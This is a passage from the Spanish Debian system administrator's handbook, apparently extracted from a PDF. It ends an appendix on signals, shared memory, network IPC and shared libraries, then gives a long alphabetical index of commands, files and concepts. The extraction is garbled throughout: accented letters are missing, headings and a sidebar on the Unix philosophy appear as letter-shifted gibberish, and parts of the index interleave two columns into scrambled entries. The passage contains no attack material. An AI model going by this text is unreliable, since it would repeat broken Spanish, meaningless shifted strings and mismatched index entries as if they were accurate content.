Sin embargo, no toda la comunicacin entre procesos es para mover datos. En muchas situaciones, la nica informacin que se necesita transmitir son mensajes de control como suspender la ejecucin o continuar la ejecucin. Unix (y Linux) provee un mecanismo llamado
seales, a travs de las que un proceso puede simplemente enviar una seal (elegida de una lista
fija de unas pocas decenas de seales predefinidas) a otro proceso. El nico requisito es saber el
pid del objetivo.
Para comunicaciones ms complejas tambin existen mecanismos que le permiten a un proceso
acceder, o compartir, parte de la memoria reservada para otros procesos. Pueden utilizar la
memoria compartida entre ellos para intercambiar datos.
Finalmente, las conexiones de red tambin pueden ayudar a comunicar un proceso; estos procesos inclusive puede estar ejecutando en diferentes equipos, posiblemente a miles de kilmetros
de distancia.
Es bastante estndar que un sistema similar a Unix tpico, utilice en varios niveles estos mecanismos.

# #JCMJPUFDBT
Las bibliotecas de funciones tienen un rol crucial en un sistema operativo similar a Unix. No
son programas completos ya que no se las puede ejecutar por su cuenta, sino colecciones de
fragmentos de cdigo que los programas estndar pueden utilizar. Entre las bibliotecas comunes
podemos encontrar a:
la biblioteca estndar C (glibc), que contien funciones bsicas como aquellas para abrir
archivos o conexiones de red y otras que facilitan la interaccin con el ncleo;
herramientas grficas, como Gtk+ y Qt, que permiten que muchos programas reutilicen
los objetos grficos que proveen;
la biblioteca libpng, que permite cargar, interpretar y guardar imgenes en el formato PNG.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Gracias a estas bibliotecas, las aplicaciones puede reutilizar cdigo existente. Por lo tanto, se simplifica su desarrollo, en particular cuando muchas aplicaciones reutilizan las mismas funciones.
Debido a que diferentes personas desarrollan las bibliotecas, el desarrollo global del sistema es
ms cercano a la filosofa histrica de Unix.
$6-563"
-B GPSNB 6OJY VOB DPTB B MB
WF[

6OP EF MPT DPODFQUPT GVOEBNFOUBMFT RVF TVCZBDF FO MB GBNJMJB 6OJY EF TJT


UFNBT PQFSBUJWPT FT RVF DBEB IFSSBNJFOUB EFCF IBDFS TMP VOB DPTB Z IBDFSMB
CJFO MBT BQMJDBDJPOFT MVFHP QVFEFO SFVUJMJ[BS FTUBT IFSSBNJFOUBT QBSB DSFBS TP
CSF FMMBT MHJDB NT BWBO[BEB 4F QVFEF WFS FTUB kGPSNB{ FO NVDIBT FODBSOB
DJPOFT -PT TDSJQUT EF DPOTPMB QVFEFO TFS FM NFKPS FKFNQMP FOTBNCMBO TFDVFO
DJBT DPNQMFKBT EF IFSSBNJFOUBT NVZ TJNQMFT DPNP grep wc sort uniq FUD

1PEFNPT WFS PUSB JNQMFNFOUBDJO EF FTUB GJMPTPGB FO CJCMJPUFDBT EF DEJHP MB
CJMJPUFDB MJCQOH QFSNJUF MFFS Z FTDSJCJS JNHFOFT 1/( DPO EJGFSFOUFT PQDJPOFT
Z FO EJGFSFOUFT GPSNBT QFSP TMP IBDF FTP OJ DPOTJEFSB JODMVJS GVODJPOFT RVF
NVFTUSFO P FEJUFO JNHFOFT

Lo que es ms, estas bibliotecas generalmente son llamadas bibliotecas compartidas ya que el
ncleo puede cargarlas en memoria slo una vez, an cuando varios procesos utilicen la misma
biblioteca simultneamente. Esto permite ahorrar memoria si lo comparamos con la situacin
opuesta (e hipottica) en la que se cargar el cdigo de una biblioteca tantas veces como haya
procesos que la utilizan.

$BQUVMP  $PODMVTJO FM GVUVSP EF %FCJBO



OEJDF BMGBCUJDP
_
.config, 183
.d, 116
.desktop, 369
.htaccess, 281
/etc/apt/apt.conf.d/, 115
/etc/apt/preferences, 117
/etc/apt/sources.list, 104
/etc/apt/trusted.gpg.d/, 126
/etc/bind/named.conf, 248
/etc/default/nfs-common, 286
/etc/default/nfs-kernel-server, 286
/etc/default/ntpdate, 177
/etc/exports, 288
/etc/fstab, 179
/etc/group, 166
/etc/hosts, 161, 162
/etc/init.d/rcS, 190
/etc/init.d/rcS.d/, 190
/etc/menu-methods/, 369
/etc/pam.d/common-account, 302
/etc/pam.d/common-auth, 302
/etc/pam.d/common-password, 302
/etc/passwd, 163
/etc/shadow, 164
/etc/sudoers, 178
/etc/timezone, 175
/proc/, 161
/sys/, 161
/usr/share/doc/, 12
/usr/share/menu/, 369
/usr/share/zoneinfo/, 175
/var/lib/dpkg/, 85
~, 168
1000BASE-T, 156

100BASE-T, 156
10BASE-T, 156
10GBASE-T, 156
32/64 bits, eleccin, 53
64Studio, 19
A
A, registro DNS, 246
AAAA, registro DNS, 247
ACPI, 223
acpid, 223
actividad
historial, 396
monitorizacin, 395
actualizaciones
de stable, 107
retroadaptaciones, 108
actualizaciones de seguridad, 107
actualizacin
automtica del sistema, 132
del sistema, 114
addgroup, 166
adduser, 166
administracin
de configuracin, 21
interfaz de, 203
administracin de energa, 223
administradores de la cuentas de Debian, 14
ADSL, mdem, 158
Advanced Configuration and Power Interface,
223
Advanced Power Management, 223
AFP, 42
Afterstep, 368
Agnula, 19

agregar un usuario a un grupo, 166


AH, protocolo, 237
aide (paquete Debian), 398
AIM, 378
Akkerman, Wichert, 13
alias
de dominios virtuales, 264
alien, 100
alioth, 19
Allow from, directiva de Apache, 282
AllowOverride, directiva de Apache, 280, 281
alternativa, 368
am-utils, 180
amanda, 215
amd, 180
amd64, 46
anacron, 213
analizador de registros web, 282
analog, 147
Anjuta, 377
antivirus, 274
apache, 276
Apache, directivas, 280, 282
apache2-mpm-itk, 277
APM, 223
AppleShare, 42
AppleTalk, 42
approx, 111
apropos, 140
APT, 76, 104
anclaje (pinning), 117
bsqueda de paquetes, 121
configuracin, 115
configuracin inicial, 67
interfaces, 122
preferencias, 117
visualizacin de cabeceras, 121
apt-cache, 121
apt-cache dumpavail, 122
apt-cache pkgnames, 122
apt-cache policy, 122
apt-cache search, 121
apt-cache show, 121

apt-cacher, 111
apt-cacher-ng, 111
apt-cdrom, 105
apt-ftparchive, 435
apt-get, 112
apt-get dist-upgrade, 115
apt-get install, 112
apt-get purge, 112
apt-get remove, 112
apt-get update, 112
apt-get upgrade, 114
apt-get.org, 110
apt-key, 126
apt-mark auto, 120
apt-mark manual, 120
apt-spy, 106
apt-xapian-index, 121
apt.conf.d/, 115
aptitude, 72, 112, 122
aptitude dist-upgrade, 115
aptitude full-upgrade, 115
aptitude install, 112
aptitude markauto, 120
aptitude purge, 112
aptitude remove, 112
aptitude safe-upgrade, 114
aptitude search, 121
aptitude show, 121
aptitude unmarkauto, 120
aptitude update, 112
aptitude why, 120
Aptosid, 452
ar, 76
archivo
confidencialidad de, 66
de configuracin, 87
de registro, 146
especial, 167
registro, rotacin, 177
servidor, 285
archivos
de registro, 206
sistema de, 62, 463

OEJDF BMGBCUJDP



arquitectura, 3, 46
compatibilidad multiarquitectura, 98
arranque
dual, 53, 70
gestor de, 54, 70, 169
arranque, CD-ROM de arranque, 450
ASCII, 153
asignacin de nombres, 161
asociacin, 2, 4
at, 212
ATA, 460
atd, 210
ATI, 367
atq, 213
atrm, 213
autenticacin
de un paquete, 126
autenticacin web, 281
autobuilder, 26
autofs, 180
automount, 180
automtica, actualizacin, 132
Autopsy Forensic Browser, 420
autor original, 6
Avahi, 42
awk, 369
AWStats, 282
awtats, 147
axi-cache, 121, 136
azerty, 153

bgpd, 243
biblioteca (de funciones), 468
bifurcacin, 466
bind9, 247
BIOS, 50, 461
bit sticky, 202
Blackbox, 368
bloque (disco), 214
bloque, modo, 167
Bo, 9
Bochs, 330
Bonjour, 42
Breaks, campo de cabecera, 81
Bruce Perens, 9
BSD, 36
BTS, 15
bugs.debian.org, 15
Build-Depends, campo de cabecera, 90
Build-Depends, campo de control, 427
build-simple-cdd, 354
buildd, 27
Buzz, 9
bzip2, 104
bzr, 22
bfer
de recepcin, 390
bsqueda de paquetes, 121

C
c++, 369
cable cruzado, 159
cach proxy, 68, 111, 295
B
BABEL, enrutamiento inalmbrico en malla, cadena, 389
243
calidad
babeld, 243
control de, 20
backport, 426
del servicio, 241
backports.debian.org, 108
calidad del servicio, 241
BackupPC, 215
Calligra Suite, 381
bacula, 215
carcter, modo, 167
base de datos
casilla de dominio virtual, 265
de grupos, 163
cc, 369
de usuarios, 163
CD-ROM
bash, 167
businesscard, 51
BGP, 243
de arranque, 450



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

de instalacin, 51
netinst, 51
certificado
X.509, 231
chage, 164
changelog.Debian.gz, 143
checksecurity, 399
chfn, 164
chgrp, 202
chmod, 202
chown, 202
chsh, 164
ciclo de vida, 25
cifrada
particin, 66
CIFS, 289
cifs-utils, 294
cinta, respaldo en, 218
clamav, 274
clamav-milter, 274
cliente
arquitectura cliente/servidor, 195
Jabber, 379
NFS, 289
CNAME, registro DNS, 246
CodeWeavers, 382
codificacin, 152
Collins, Ben, 13
comit tcnico, 13
Common Unix Printing System, 169
common-account, 302
common-auth, 302
common-password, 302
comparacin de versiones, 97
compilacin, 4
de un ncleo, 181
compilador, 4
completado automtico, 168
componente (de un repositorio), 105
Compose, tecla, 154
comunicacin entre procesos, 467
conector RJ45, 156
conexin

a pedido, 158
a travs de un mdem ADSL, 158
en caliente (hotplug), 219
por mdem PSTN, 158
conferencia de video, 379
conffiles, 87
confidencialidad
archivos, 66
config, script debconf, 86
configuracin
archivos de configuracin, 87
de la red, 157
de un programa, 145
del ncleo, 183
impresin, 169
inicial de APT, 67
conflictos, 81
Conflicts, campo de cabecera, 81
conjunto de caracteres, 152
consola, 140, 167
console-data, 153
console-tools, 153
constitucin, 12
contexto de seguridad, 402
contrasea, 164
contrato social, 5
contrib, seccin, 105
control, 78
de calidad, 20
control de trfico, 241
control.tar.gz, 84
controlador de dominio, 290
copia de respaldo, 216
copyleft, 9
copyright, 144
correo
filtro, 262
filtro de receptor, 269
filtro de remitente, 268
listas de, 21
servidor de, 260
software, 373
Costo total de posesin, 36

OEJDF BMGBCUJDP



CPAN, 83
creacin
de cuentas de usuario, 166
de grupos, 166
cron, 210
crontab, 210
CrossOver, 382
crypt, 163
csh, 167
cuenta
creacin, 166
de administrador, 58, 178
desactivacin, 165
cuota, 166, 214
CUPS, 169
cups, 169
administracin, 169
CVS, 21
cdigo abierto, 9
cdigo binario, 4
D
DAM, 14
dansguardian, 297
DATA, 269
database
base de datos de desarrolladores, 10
DCF-77, 177
dch, 438
dconf, 371
DDPO, 20
debate acalorado, 13
debc, 438
debconf, 87, 205, 350
debfoster, 120
debhelper, 438
debi, 438
Debian Developer's Reference, 437
Debian Francia, 4
Debian Maintainer, 439
debian-admin, 20
debian-archive-keyring, 126
debian-cd, 3, 352
Debian-Edu, 18



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

debian-installer, 4, 50
debian-kernel-handbook, 181
debian-multimedia, 19
debian-user, 147
debian.net, 110
debian.tar.gz, archivo, 88
deborphan, 120
debsums, 397
debtags, 136
debuild, 438
delgroup, 166
demonio, 146, 466
demonio de compilacin, 27
DeMuDi, 19
denegacin de servicio, 399
Deny from, directiva de Apache, 282
dependencia, 79
dependencia rota, 93
Depends, campo de cabecera, 79
derechos de autor, 9
Desactivacin de una cuenta, 165
desarrollador
nuevo desarrollador, 14
desarrolladores
base de datos de desarrolladores, 10
desarrolladores Debian, 10
descompresin, paquete fuente, 91
desempaquetado
paquete binario, 93
paquete fuente, 91
despliegue, 348
deteccin de intrusiones, 399
deteccin, intrusin, 399
devscripts, 438
DFSG, 7
dh-make, 438
DHCP, 157, 250
diald, 158
diff, 16, 218
diff.gz, archivo, 88
difusin, 156
Direccin IP
privada, 229

direccin IP, 156


directivas Apache, 280, 282
directorio LDAP, 297
DirectoryIndex, directiva de Apache, 280
Directrices de software libre de Debian, 7
dirvish, 216
disco duro, nombre, 170
dispositivo
multidisco, 65
permisos de acceso, 167
distribucin
distribucin comercial, XIX
distribucin Linux comercial, 37
distribucin Linux comunitaria, 37
Linux, XIX
distribucin del teclado, 56, 153
distribucin derivada, 18
Distribucin Linux
rol, 24
distribucin mundial, 11
Distrowatch, 452
dkms, 185
dm-crypt, 66
DNAT, 229
DNS, 162, 246
actualizaciones automticas, 251
registro, 247
zona, 246
DNSSEC, 247
documentacin, 140, 143
ubicacin, 12
documentos de fundacin, 5
dominio
nombre, 161
virtual, 264
dominio virtual
alias de, 264
casilla de correo, 265
DoudouLinux, 452
dpkg, 76, 92
base de datos, 85
operacin interna, 85
dpkg-reconfigure, 205

dpkg-source, 91
DPL, 12
dput, 439
DSA (administradores de sistemas de Debian),
20
DSC, archivo, 88
dselect, 72
dsl-provider, 159
DST, 175
dueo
grupo, 201
usuario, 201
dupload, 439
duro, enlace, 216
DVD-ROM
businesscard, 51
de instalacin, 51
netinst, 51
Dynamic Host Configuration Protocol, 250
E
easy-rsa, 231
edquota, 214
eGroupware, 378
EHLO, 268
ejecucin, permiso, 201
ejemplos, ubicacin, 145
Ekiga, 379
El Proyecto de Documentacin de Linux, 144
eleccin, 368
eliminacin de un paquete, 94, 112
eliminar un grupo, 166
email
filtro de contenido, 270
Empathy, 380
emulacin de Windows, 382
energa, administracin, 223
Enhances, campo de cabecera, 80
enlace
duro, 216
simblico, 175
enmascaramiento, 229
enrutamiento
avanzado, 241

OEJDF BMGBCUJDP



dinmico, 243
entorno, 153
heterogneo, 42
variable de entorno, 168
Epiphany, 376
error
gravedad, 15
reportar un error, 16
errores
sistema de seguimiento de errores, 15
escritorio grfico, 370
remoto, 199
escritorio grfico remoto, 199
escritura, permiso, 201
ESP, protocolo, 237
espacio de ncleo, 465
espacio de usuario, 465
especial, archivo, 167
estabilizacin, 29
Etch, 9
eth0, 157
ethereal, 256
Ethernet, 156, 157
etiqueta, 136
Evolution, 373
evolution-exchange, 374
Excel, Microsoft, 381
ExecCGI, directiva de Apache, 281
Exim, 260
Experimental, 25, 109, 117
Explanation, 118
explorando un equipo Debian, 45
exports, 288
Extensin de direcciones fsicas, 53
F
Facebook, 24
filtro de correo, 262
filtro de paquetes, 388
Firefox, Mozilla, 376, 377
firewall, 388
IPv6, 245
Firewire, 460
firma



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

de un paquete, 126
flamewar, 13
Fluxbox, 368
FollowSymlinks, directiva de Apache, 281
fork, 196
formato nibble, 247
forzado de tipos, 411
FreeBSD, 36
Freecode, 144
FreeDesktop.org, 370
Freenet6, 245
fstab, 179
FTP (File Transfer Protocol), 284
ftpmaster, 19
fuente
cdigo, 4
del ncleo Linux, 182
paquete, XXII, 88
fuentes del ncleo Linux, 182
Fully Automatic Installer (FAI), 349
FusionForge, 19, 380
fwbuilder, 393
G
Garbee, Bdale, 13
gconf, 371
gconftool-2, 371
gdm, 200, 367
Gecko, 376
GECOS, 163
gestor
de arranque, 54
de pantalla, 200, 367
de ventanas, 368
gestor de arranque, 54, 70, 169
Gestor de paquetes de Red Hat, 100
Gestor de versiones, 28
Gestor de versiones estables, 28
Gestor de volmenes lgicos
durante la instalacin, 65
getent, 166
getty, 194
gid, 163
git, 22

Glade, 377
GNOME, 370
gnome, 370
GNOME Office, 381
gnome-control-center, 205
gnome-packagekit, 131
gnome-system-monitor, 396
GnomeMeeting, 379
GNU, 2
Info, 142
Licencia Pblica General, 7
no es Unix, 2
GNU/Linux, 35
gnugk, 379
Gnumeric, 381
Gogo6, 245
Google+, 24
GPL, 7
GPS, 177
gravedad, 15
GRE, protocolo, 237
greylisting, 271
Grml, 452
group, 166
groupmod, 166
groupware, 378
GRUB, 70, 173
grub-install, 173
GRUB2, 173
grupo, 164
agregar un usuario, 166
base de datos, 163
creacin, 166
de volmenes, 66
dueo, 201
eliminacin, 166
modificacin, 165
gsettings, 371
GTK+, 370
guessnet, 160
gui-apt-key, 127
gzip, 104
H

H323, 379
Hamm, 9
HELO, 268
Herramienta avanzda de paquetes, 104
Hess, Joey, 438
hg, 22
Hocevar, Sam, 13
horario de verano, 175
host, 248
hostname, 161
hosts, 161, 162
hotplug, 219
HOWTO, 144
htpasswd, 282
HTTP
seguro, 278
servidor, 276
HTTPS, 278
huella digital, 397
I
i18n, 16
i386, 46
ia32-libs, 99
Ian Murdock, 2
Icedove, 376
Iceweasel, 376
Icewm, 368
Icinga, 355
ICMP, 390
ICQ, 378
id, 165
IDE, 460
Identi.ca, 24
idioma, 152
IDS, 399
IEEE 1394, 219, 460
IKE, 236
impresin
configuracin, 169
red, 295
in-addr.arpa, 247
Includes, directiva de Apache, 281
incompatibilidades, 81

OEJDF BMGBCUJDP



Indexes, directiva de Apache, 281


inetd, 208
info, 142
info2www, 143
infraestructura de llave pblica, 231
inicio
del sistema, 190
inicio de sesin
remoto, 195
init, 159, 191, 466
inodo, 214
instalacin
automatizada, 348
de paquetes, 92, 112
de un ncleo, 186
del sistema, 50
por red, 52
por TFTP, 52
PXE, 52
instalador, 50
interfaz
de administracin, 203
de red, 157
grfica, 366
interfaz de lnea de rdenes, 167
interna, organizacin, 10
internacionalizacin, 16
Internet Control Message Protocol, 390
Internet Printing Protocol, 169
Internet Relay Chat, 379
Internet Software Consortium, 247
interno, funcionamiento, 10
interprete de lnea de rdenes, 140
inversa, zona, 247
invoke-rc.d, 194
inyeccin SQL, 413
ip6.arpa, 247
ip6tables, 245, 388, 391
IPC, 467
IPP, 169
iproute, 242
IPSec
intercambio de claves, 236



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

IPsec, 236
iptables, 388, 391
iputils-ping, 244
iputils-tracepath, 244
IPv6, 244
IPv6, firewall, 245
IRC, 379
IS-IS, 243
ISC, 247
isisd, 243
ISO-8859-1, 152
ISO-8859-15, 152
ISP, proveedor de servicios de Internet, 261
J
Jabber, 378
clientes, 379
Jackson, Ian, 13
jerarqua del sistema de archivos, 458
Jessie, 9
jxplorer, 299
K
KDE, 370
KDevelop, 378
kdm, 200, 367
kernel-package, 182
keyboard-configuration, 153
kFreeBSD, 36
KMail, 374
kmod, 191
Knoppix, 450
KOffice, 381
Kolab, 378
Konqueror, 376
Kopete, 380
krdc, 200
krfb, 199
Kubuntu, 450
KVM, 330, 342
kwin, 368
L
l10n, 16
LANG, 153

Latin 1, 152
Latin 9, 152
LDAP, 297
seguro, 302
ldapvi, 303
LDIF, 298
LDP, 144
lectura, permiso, 201
Lenny, 9
libapache-mod-security, 414
libnss-ldap, 300
libpam-ldap, 301
libre
software, 7
Libre Office, 381
libvirt, 342
licencia
artstica, 7
BSD, 7
GPL, 7
licencia artstica, 7
licencia BSD, 7
licencia pblica general, 7
lightdm, 200
lighttpd, 277
LILO, 172
limitacin de trfico, 242
lintian, 437
Linux, 35
distribucin, XIX
ncleo, XIX
Linux Loader, 172
Linux Mint, 451
linux32, 53
lire, 147
listas de correo, 21, 147
listmaster, 21
live-build, 451
LiveCD, 450
llave
de autenticacin de APT, 127
llave confiable, 127
llave USB, 51

llave, par de, 231, 236, 302


ln, 175
locale, 153
locale-gen, 152
locales, 152
localizacin, 16
Localizacin francesa, 152
locate, 180
lockd, 286
logcheck, 147, 394
login, 163
logrotate, 177
lpd, 169
lpq, 169
lpr, 169
lsdev, 462
lspci, 462
lspcmcia, 462
lsusb, 462
LUKS, 66
LVM, 319
durante la instalacin, 65
LXC, 330, 336
LXDE, 373
lzma, 104
lder
eleccin, 12
rol, 12
lder del proyecyo Debian, 12
M
MAIL FROM, 268
main, 450
main, seccin, 105
make deb-pkg, 184
Makefile, 432
man, 140
man2html, 142
manutencin
manutencin de paquetes, 11
Master Boot Record, 169
MBR, 169
McIntyre, Steve, 13

OEJDF BMGBCUJDP



MCS

(seguridad multicategora:
Category Security), 402
MD5, 397
md5sums, 87
mdadm, 312
memoria virtual, 64
mensajera
instantnea, 378
mentors.debian.net, 110
menu, 369
menu-methods, 369
mercurial, 22
meritocracia, 14
Messenger, 378
Meta, tecla, 154
metacity, 368
metadistribucin, 2
metainformacin de un paquete, 78
metapaquete, 80, 81
Michlmayr, Martin, 13
microblog, 24
Microsoft
cifrado punto a punto, 238
Excel, 381
Word, 381
migracin, 34, 43
migrationtools, 299
mini-dinstall, 434
mini.iso, 51
mkfs, 464
mknod, 167
mlocate, 180
mod-security, 414
modificacin, permiso, 201
modlogan, 147
modo
bloque, 167
carcter, 167
modprobe, 191
module-assistant, 186
monitorizacin, 394
actividad, 395
archivos de registro, 394



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Multi- montado automtico, 180


montaje, punto, 178
mount, 178
mount.cifs, 294
Mozilla, 377
Firefox, 376, 377
Thunderbird, 376
MPPE, 238
mrtg, 396
multiarquitectura, 98
multiverse, 450
MultiViews, directiva de Apache, 281
Munin, 355
Murdock, Ian, 2, 13
mutter, 368
MX
registro DNS, 246
servidor, 261
mscara
de permisos, 203
de subred, 156
mdem
ADSL, 158
PSTN, 158
mdulos
del ncleo, 191
externos del ncleo, 185
mvil, perfiles, 292
N
Nagios, 357
Name Service Switch, 165
named.conf, 248
nameserver, 162
NAT, 229
NAT Traversal, 237
NAT, de destino, 229
NAT, de origen, 229
NAT-T, 237
Navegadores web, 376
netfilter, 388
netiqueta, 147
Netscape, 377
netstat, 252

network-manager, 157, 160


network-manager-openvpn-gnome, 235
newgrp, 165
NEWS.Debian.gz, 12, 143
NFS, 285
cliente, 289
opciones, 288
seguridad, 286
nfs-common, 286
nfs-kernel-server, 286
nginx, 277
NIDS, 399
nivel de ejecucin, 192
nmap, 44, 253
nmbd, 289
nombre
atribucin y resolucin, 161
de dominio, 161
nombre cdigo, 9
resolucin, 161
nombre cdigo, 9
nombre, tubera con nombre, 207
nombres
de discos duros, 170
non-free, 6
non-free, seccin, 105
normativa, 11
Normativa Debian, 11
noticias del proyecyo Debian (Debian Project
News), 23
NS, registro DNS, 247
NSS, 161, 165
NTP, 176
servidor, 177
ntp, 177
ntpdate, 177
Nussbaum, Lucas, 13
nVidia, 367
ncleo
compilacin, 181
configuracin, 183
fuentes, 182
instalacin, 186

mdulos externos, 185


parche, 186
O
oficina, suite de, 381
Openbox, 368
OpenLDAP, 297
OpenOffice.org, 381
OpenSSH, 196
OpenSSL
creacin de llaves, 302
openswan, 236
OpenVPN, 230
Options, directiva de Apache, 280
orden, intrprete, 167
Order, directiva de Apache, 282
orig.tar.gz, archivo, 88
origen
de un paquete, 104
original, autor, 6
OSPF, 243
ospf6d, 243
ospfd, 243
P
Packages.gz, 104
packagesearch, 136
PAE, 53
PAM, 153
pam_env.so, 153
pantalla, gestor, 200
PAP, 158
paquete
binario, XXII, 76
bsqueda, 121
comprobacin de autenticidad, 126
conflicto, 81
Debian, XXII
repositorio de, 434
dependencia, 79
desempaquetado, 93
eliminacin, 94, 112
estado, 94
firma, 126

OEJDF BMGBCUJDP



fuente, XXII, 88
incompatibilidad, 81
inspeccin de contenido, 94
instalacin, 92, 112
IP, 228, 388
lista de archivos, 94
manutencin de paquetes, 11
metainformacin, 78
origen, 104
popularidad, 373
prioridad, 117
purgado, 94
reemplazo, 84
sello, 126
tipos, 431
paquete virtual, 81
paquetes
sistema de seguimiento de paquetes, 20
par de llaves, 440
Parallel ATA, 460
parche, 16
parche de ncleo, 186
particionado, 60
guiado, 61
manual, 64
particin
extendida, 171
primaria, 171
secundaria, 171
particin cifrada, 66
particin swap, 64
passwd, 163, 164
patch, 16
patrocinio, 441
pbuilder, 428
PCMCIA, 219
Perens, Bruce, 9, 13
Perfect Forward Secrecy, 278
perfil mvil, 292
Perl, 83
permisos, 201
mscara, 203
representacin octal, 202



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Philosophy & Procedures, 441


PHPGroupware, 378
PICS, 297
pid, 464
Pin, 118
Pin-Priority, 118
ping, 390
pinning en APT, 117
piuparts, 438
Pixar, 9
PKI (infraestructura de llave pblica), 231
plan maestro, 34
Planeta Debian, 23
poff, 158
pon, 158
popularidad de paquetes, 373
popularity-contest, 373
portmapper, 286
Postfix, 260
postinst, 84
postrm, 84
Potato, 9
PPP, 158, 236
pppconfig, 158
PPPOE, 159
pppoeconf, 159
PPTP, 159, 237
pptp-linux, 237
Pre-Depends campo de cabecera, 80
preconfiguracin, 350
predependencia, 80
preferences, 117
preinst, 84
prelude, 400
prerm, 84
presembrar, 350
principios del software libre, 7
printcap, 169
prioridad
de un paquete, 117
privada virtual, red, 230
privada, direccin IP, 229
proc, 161

procedimiento estndar, 145


procesador, 3
proceso, 190
procmail, 262
Progeny, 2
programa
configuracin, 145
programacin de tareas, 210
proposed-updates, 107
protocolo
AH, 237
ESP, 237
GRE, 237
Provides, campo de cabecera, 81
proxy, 68
proxy HTTP/FTP, 295
proxy, cach, 68, 111
pseudopaquete, 19
PTR, registro DNS, 246
PTS, 20
puente, 156
puerta de enlace, 228
puerta trasera, 419
puerto
TCP, 228
udp, 228
punto a punto, 158
punto de montaje, 64, 178
purga de un paquete, 86
purgar un paquete, 94
pginas de manual, 140
Q
QEMU, 330
QoS, 241
Qt, 370
Designer, 378
quagga, 243
R
racoon, 236
radvd, 246
RAID, 308
RAID por software, 65

RBL, 267
RCPT TO, 269
rcS, 190
rcS.d, 190
RDP, 383
README.Debian, 12, 143
recepcin, bfer de, 390
Recommend, campo de cabecera, 80
recuperacin, 215
recuperacin de un equipo Debian, 45
Red
protocolo de tiempo, 176
red
configuracin, 157
DHCP, 57
esttica, 57
configuracin DHCP, 250
configuracin errante, 160
direccin, 156
IDS, 399
privada virtual (VPN), 230
puerta de enlace, 228
sistema de archivos, 285
traduccin de direcciones (NAT), 229
redes sociales, 24
redimiensionar una particin, 64
redireccin de puertos, 198, 229
reducir una particin, 64
reemplazo, 84
registro
reenvo, 208
registro DNS, 247
registros
analizador de registros web, 282
archivos, 146
archivos, rotacin, 177
distribucin, 206
monitorizacin, 394
visualizacin, 395
regla de filtrado, 389, 391
reinicializacin de servicios, 194
reinstalacin, 113
release, 25

OEJDF BMGBCUJDP



Release.gpg, 126
RSA (algoritmo), 231
rsh, 195
reloj
rsync, 216
sincronizacin, 176
rsyslogd, 206
Remote Black List, 267
RTFM, 140
Remote Desktop Protocol, 383
runlevel, nivel de ejecucin, 192
Remote Procedure Call, 286
remoto, escritorio grfico, 199
S
remoto, inicio de sesin, 195
safe-upgrade, 73
Replaes, campo de cabecera, 84
Samba, 42, 289
reportar un error, 16, 148
Sarge, 9
reportbug, 16
SATA, 219
reporte de fallo, 148
scp, 195
repositorio de paquetes, 434
script de inicializacin, 193
representacin octal de permisos, 202
SCSI, 460
Request For Comments, 79
seccin
resolucin, 366
contrib, 105
de nombres, 161
main, 105
resolucin general, 13
non-free, 6, 105
resolv.conf, 162
secretario del proyecto, 13
respaldo, 215
Secure Shell, 195
copia, 216
security.debian.org, 107
en cinta, 218
seguridad
restriccin de acceso web, 282
actualizaciones de seguridad, 107
restricted, 450
seguridad, contexto de, 402
retroadaptacin, 108
seleccin
revisin de paquetes de un desarrollador Dede idioma, 55
bian, 20
del pas, 55
Rex, 9
SELinux, 400
RFC, 79
semanage, 404
RIP, 243
semodule, 404
ripd, 243
Serial ATA, 460
ripngd, 243
Server Name Indication, 279
RMS, 2
servicio
Robinson, Branden, 13
calidad del, 241
root, 178
reinicializacin, 194
root-tail, 395
Servicio de nombres de dominio, 162
rotacin de archivos de registro, 177
servidor
route, 243
archivo, 285, 289
router, 156, 228
arquitectura cliente/servidor, 195
RPC, 286
HTTP, 276
rpc.mountd, 286
MX, 261
rpc.statd, 286
nombre, 246
RPM, 100
NTP, 177



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

SMTP, 260
web, 276
X, 366
servidor de correo, 260
setarch, 53
setgid, directorio, 202
setgid, permiso, 201
setkey, 236
setquota, 214
setuid, permiso, 201
Setup, 461
sftp, 195
sg, 165
SHA1, 397
shadow, 164
Sid, 9
Sidux, 452
simblico, enlace, 175
Simple Mail Transfer Protocol, 260
Simple Network Management Protocol, 396
simple-cdd, 353
SimplyMEPIS, 451
sincronizacin de tiempo, 176
sistema
base, 67
de archivos, 62
sistema bsico de entrada/salida, 50
sistema de archivos, 463
red, 285
sistema de deteccin de intrusiones, 399
sistema de seguimiento de errores, 15
sistema de seguimiento de paquetes, 20
sistema de versiones concurrentes, 21
SkoleLinux, 18
slapd, 297
Slink, 9
SMB, 289
smbclient, 294
smbd, 289
SMTP, 260
snapshot.debian.org, 111
SNAT, 229
SNMP, 396

snort, 399
social
redes sociales, 24
social, contrato, 5
Software in the Public Interest, 4
SourceForge, 380
Sources.gz, 104
sources.list, 104
spam, 266
spamass-milter, 274
SPI, 4
Squeeze, 9
Squid, 68, 295
squidGuard, 296
SSD, 327
SSH, 195, 236
SSH, tnel SSH, vase VPN
SSL, 231
Stable, 25
stable, actualizaciones de, 107
stable-backports, 108
stable-proposed-updates, 107
stable-updates, 107
Stallman, Richard, 2
StarOffice, 381
strongswan, 236
subproyecto, 3, 18
subred, 156
subversion, 22
sudo, 178
sudoers, 178
suexec, 277
Suggests, campo de cabecera, 80
suite de oficina, 381
suma de control, 397
sumas de verificacin, 87
superservidor, 208
svn, 22
swap, 64
particin, 64
SWAT, 289
SymlinksIfOwnerMatch, directiva de Apache,
281

OEJDF BMGBCUJDP



synaptic, 122
sys, 161
syslogd, 146
T
TAR, 218
tareas programadas, 210
tarjeta de video, 367
Tasks & Skills, 441
tc, 242
TCO, 36
TCP, puerto, 228
tcpd, 209
tcpdump, 255
tecla
Compose, 154
Meta, 154
telnet, 195
Testing, 25
tethereal, 256
The Coroner Toolkit, 420
Thunderbird, Mozilla, 376
timezone, 175
tipo de servicio, 243
tipo, forzado de tipos, 411
tipos de paquete, 431
TLS, 231
tomando el control de un servidor Debian, 45
top, 396
ToS, 243
Towns, Anthony, 13
Toy Story, 9
Trabajo colaborativo, 378
trfico
control de, 241
limitacin, 242
tsclient, 200
tshark, 256
tubera, 467
tubera con nombre, 207
Twitter, 24
TZ, 175
tnel (SSH), vase VPN
tnel SSH



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

VNC, 200
tneles punto a punto, protocolo, 237
U
